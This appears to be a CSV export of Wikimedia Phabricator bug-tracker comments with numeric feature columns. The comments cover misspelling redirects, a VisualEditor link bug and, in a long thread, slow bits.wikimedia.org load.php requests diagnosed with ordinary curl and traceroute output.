+193561,Redirects mask incorrect spellings (misspellings) in articles,"The solution on pl.wiki is not to create redirects from misspelings. The ""Did you mean"" feature catches these well enough, and educates the reader on his mistake.
+
+(Policy: https://pl.wikipedia.org/wiki/Wikipedia:Przekierowanie#Stosowanie_przekierowa.C5.84 , last paragraph)",,,1355001897,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+193557,Redirects mask incorrect spellings (misspellings) in articles,This is a serious problem on some wikis (thousands of misspelled links): <https://en.wikipedia.org/wiki/Wikipedia:Database_reports/Linked_misspellings>.,,,1355001544,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,0,False,,,-30,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+44839,VisualEditor: Links should not be allowed to be created spanning only whitespace,"Select some whitespace and open the link inspector and create the link.
+The SurfaceFragment.trimRange method is not trimming the space if the range only contains space.
+
+The correct behavior should be to trim the space then insert the location text into the document.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1354917180,1354921736.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-2mqmky2wjztbg6g74ags,task_description,resolved,True,c1,0,False,False,True,-30,,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+191581,VisualEditor: Links should not be allowed to be created spanning only whitespace,"Patch in https://gerrit.wikimedia.org/r/37541
+This is DM stuff so Trevor or Roan will need to review.",,,1354917532,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-2mqmky2wjztbg6g74ags,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+44750,VisualEditor: Page creation should have a customized save button,"Similar to bug 41865
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1354749120,1354758526.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-mzqqlikp4a7wrk4foid4,task_description,resolved,True,c1,0,False,False,True,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+186114,VisualEditor: Page creation should have a customized save button,Merged,,,1354758526,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mzqqlikp4a7wrk4foid4,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+186107,VisualEditor: Page creation should have a customized save button,Fixed in gerrit 37144.,,,1354750343,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mzqqlikp4a7wrk4foid4,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+44653,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**Author:** `bugzilla.wikimedia.org.76374`
+
+**Description:**
+curl -I 'http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.wikimediaShopLink.core%7Cjquery.client%2Ccookie%2CmwExtension%7Cmediawiki.cldr%2CjqueryMsg%2Clanguage%2Cnotify%2Cutil%7Cmediawiki.language.data%2Cinit%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup&skin=vector&version=20121203T183954Z&*'
+curl: (52) Empty reply from server
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1354560840,1490658160.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-d6ih3cdrbybmct3lwinv,task_description,resolved,True,c1,0,False,False,False,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+832877,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out",">>! In T44653#480329, @Nemo_bis wrote:
+> Every time I look (e.g. on webpagetest.org), I always find one or two ""failing"" load.php calls however I test it. Usually it's the CentralNotice taking too much
+
+From looking at the original description I tend to think it was a CentralNotice issue indeed. On the other hand, bannercontroller stuff was refactored in the meanwhile.",,,1490687031,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,195,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+832775,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Closing for now as most likely the original cause can no longer cause a page to take 12 seconds to load given the following major changes that have happened since then.
+
+* Switch to HTTPS and HTTP/2 made bits re-use the same connection instead of establishing a new connection, thus speeding things up and reducing the changes that a connection gets cut off.
+ * {T96848}
+ * {T94896}
+ * {T95448}
+ * ..
+* Since then, bits itself has been folded into the main domains entirely, further optimising this re-use: 
+ * {T107430}
+* Since then, we've also reduced the number of requests that block rendering and page-ready
+ * {T107399}",,,1490658160,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,195,,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+484378,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","@Nemo_bis: I'm asking anybody in the CC list as someone might have faced the same problem in that IP range. 
+If I had asked anybody specifically, I would have prefixed a name. :)",,,1435685379,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,104,,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+484366,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","> Does this problem still happen nowadays?
+
+Who are you asking? The reporter is one of those made into ghosts by the bugzilla murder.",,,1435684764,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,104,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+484228,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","
+Does this problem still happen nowadays?",,,1435675753,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,104,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+479667,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","> We no longer use bits to serve this content. So this can probably be closed now ?
+
+What makes you think the issue was caused by the fact of being served from that domain?",,,1435039204,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,103,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+479502,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out",We no longer use bits to serve this content. So this can probably be closed now ?,,,1435011660,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,103,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+206135,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+Here is a Chrome plugin that provides a workaround:
+
+https://chrome.google.com/webstore/detail/wikipedia-speedup/ppmagkdpdaaabpmdppckemgkngkpchdl?hl=en",,,1415214025,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0
+206131,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","(In reply to Macavity from comment #19)
+> This happens reliably on the IP range my ISP uses (looks like
+> 86.141.0.0/16), when jqueryMsg is in the query string:
+> 
+> This times out:
+
+Works for me as I get a cached response /* cache key: enwiki:resourceloader:filter:minify-js:7:519abda9a1640250a7c561ccfd0f22f8 */
+I don't see ongoing CentralNotice campaigns for UK.",,,1414919322,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,69,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+206125,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","This happens reliably on the IP range my ISP uses (looks like 86.141.0.0/16), when jqueryMsg is in the query string:
+
+This times out:
+
+http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.centralauth.centralautologin%7Cext.uls.init%2Cinterface%2Cpreferences%2Cwebfonts%7Cext.visualEditor.viewPageTarget.init%7Cjquery.accessKeyLabel%2CbyteLength%2Cclient%2Ccookie%2CmwExtension%2CtabIndex%2Cthrottle-debounce%2Ctipsy%7Cmediawiki.Title%2CUri%2Capi%2Ccldr%2CjqueryMsg%2Clanguage%2Cnotify%2Cuser%2Cutil%7Cmediawiki.language.init%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup%7Cmmv.base%2Chead%7Cskins.vector.js&skin=vector&version=20141031T180422Z&*
+
+This returns:
+
+http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.centralauth.centralautologin%7Cext.uls.init%2Cinterface%2Cpreferences%2Cwebfonts%7Cext.visualEditor.viewPageTarget.init%7Cjquery.accessKeyLabel%2CbyteLength%2Cclient%2Ccookie%2CmwExtension%2CtabIndex%2Cthrottle-debounce%2Ctipsy%7Cmediawiki.Title%2CUri%2Capi%2Ccldr%2Clanguage%2Cnotify%2Cuser%2Cutil%7Cmediawiki.language.init%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup%7Cmmv.base%2Chead%7Cskins.vector.js&skin=vector&version=20141031T180422Z&*",,,1414918068,,PHID-USER-klksrqr4iars7szz53kl,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+206118,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Every time I look (e.g. on webpagetest.org), I always find one or two ""failing"" load.php calls however I test it. Usually it's the CentralNotice taking too much, I don't see what can be done in this component.",,,1404555792,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,52,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+206112,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Correct, comment 14 - comment 17 are a different issue.",,,1368105953,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+206106,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Yeah, bits was having issues earlier today. https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&oldid=69483 and http://status.wikimedia.org/8777/156486/Static-assets-(CSS/JS) seem to confirm this. I think separate issues are getting mixed in to a single bug, though.",,,1368059296,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+206100,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","And little bit more. In my case it is maybe just only DNS updating problem. In my home ip bits.wikimedia.org resolves to  91.198.174.233, 2620:0:862:ed1a::a,  bits.esams.wikimedia.org.
+
+In .kapsi.fi where everything is working fine bits.wikimedia.org resolves to  2620:0:861:ed1a::a, 208.80.154.234, bits-lb.eqiad.wikimedia.org",,,1367994507,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-8,,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+206094,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","This seems to something like my ongoing Wikipedia/Wikimedia problem. In last 12 hours most of queries to http://bits.wikimedia.org from my home IP are failed, but not all. However https://bits.wikimedia.org seems to work normally. I also asked in community portal of fiwiki if wikipedia has been slow and answer was  it has been worked normally.
+
+Commands asked:
+
+--- CLIP ----
+curl -i http://bits.wikimedia.org/
+curl: (7) Failed to connect to 2620:0:862:ed1a::a: Network is unreachable
+
+--- CLIP ----
+curl -i https://bits.wikimedia.org/
+HTTP/1.1 200 OK
+Server: nginx/1.1.19
+Date: Wed, 08 May 2013 05:45:54 GMT
+Content-Type: text/html
+Content-Length: 178
+Connection: keep-alive
+Last-Modified: Thu, 12 Aug 2010 16:12:20 GMT
+ETag: ""b2-48da2a1772100""
+X-Varnish: 693529009
+Via: 1.1 varnish
+Accept-Ranges: bytes
+X-Varnish: 1488468153
+Age: 0
+Via: 1.1 varnish
+X-Cache: strontium miss (0), cp3021 miss (0)
+
+<html>
+	<head><title>bits and pieces</title>
+		<meta http-equiv=""refresh"" content=""1;url=http://www.wikimedia.org/"" />
+	</head>
+<body>
+bits and pieces live here!
+</body>
+</html>
+
+--- CLIP ----
+curl -i http://bits.wikimedia.org/geoiplookup
+HTTP/1.1 200 geoiplookup
+Server: Varnish
+Content-Type: text/javascript
+Content-Length: 111
+Last-Modified: Wed, 08 May 2013 05:58:57 GMT
+Cache-Control: private, max-age=86400, s-maxage=0
+Accept-Ranges: bytes
+Date: Wed, 08 May 2013 05:58:57 GMT
+X-Varnish: 2987799549
+Age: 0
+Via: 1.1 varnish
+Connection: close
+X-Cache: cp3022 miss (0)
+
+Geo = {""city"":""REMOVED"",""country"":""FI"",""lat"":""REMOVED"",""lon"":""REMOVED"",""IP"":""91.153.84.229"",""netmask"":""24""}
+
+--- CLIP ----
+traceroute bits.wikimedia.org
+traceroute to bits.wikimedia.org (91.198.174.233), 30 hops max, 60 byte packets
+ 1  kotiboksi.Elisa (192.168.100.1)  0.662 ms  0.861 ms  1.079 ms
+ 2  tkueur1.fi.elisa.net (91.153.48.1)  14.876 ms  15.553 ms  15.781 ms
+ 3  ge1-0-0.tkubra-p1.fi.elisa.net (139.97.9.13)  13.879 ms  15.328 ms  16.106 ms
+ 4  so7-2-0.esptnl-p1.fi.elisa.net (139.97.6.1)  19.842 ms  21.924 ms  22.199 ms
+ 5  ip-rr.hkika234.fi.elisa.net (139.97.0.162)  22.454 ms  23.130 ms  23.885 ms
+ 6  213.192.184.109 (213.192.184.109)  25.150 ms  17.379 ms  18.065 ms
+ 7  as0-0.bbr1.ams1.nl.eunetip.net (213.192.191.226)  54.601 ms  50.913 ms  47.484 ms
+ 8  * * *
+ 9  * * *
+10  * * *
+....
+
+Discussion in community portal:
+http://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Wikipedian_hidastelu",,,1367992987,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-8,,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,1,1
+206089,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Bug 39322 came to my mind, so I'd still appreciate the output of the following commands
+
+traceroute bits.wikimedia.org
+
+curl -i http://bits.wikimedia.org/",,,1366803080,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+206083,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+Andre: we have already determined that it is a problem related to the source ip range.",,,1363057173,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+206080,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+Look at the screenshot. Just one out of multiple calls to the same script fails. So the routing is definitely ok.",,,1363057106,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+206077,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Just realizing that this question still stands:
+
+> Is the routing to the bits servers ok from both ip address ranges?",,,1363000685,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1
+206075,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","For me in Firebug that specific call is 51ms and 14.9kb (being logged in), for you 11440ms and 0.0kb.
+
+And in my case the URL is
+http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.wikimediaShopLink.core%7Cjquery.client%2Ccookie%2CmwExtension%7Cmediawiki.cldr%2CjqueryMsg%2Clanguage%2Cnotify%2Cutil%7Cmediawiki.language.data%2Cinit%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup%7Cwikibase.client.init&skin=vector&version=20130311T110922Z&*",,,1363000652,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+206072,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+screenshot of timeout in firebug
+
+**Attached**: {F10260}",,,1362773214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+206068,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+Yes, it is still a problem. See the screenshot.",,,1362773152,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-17,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
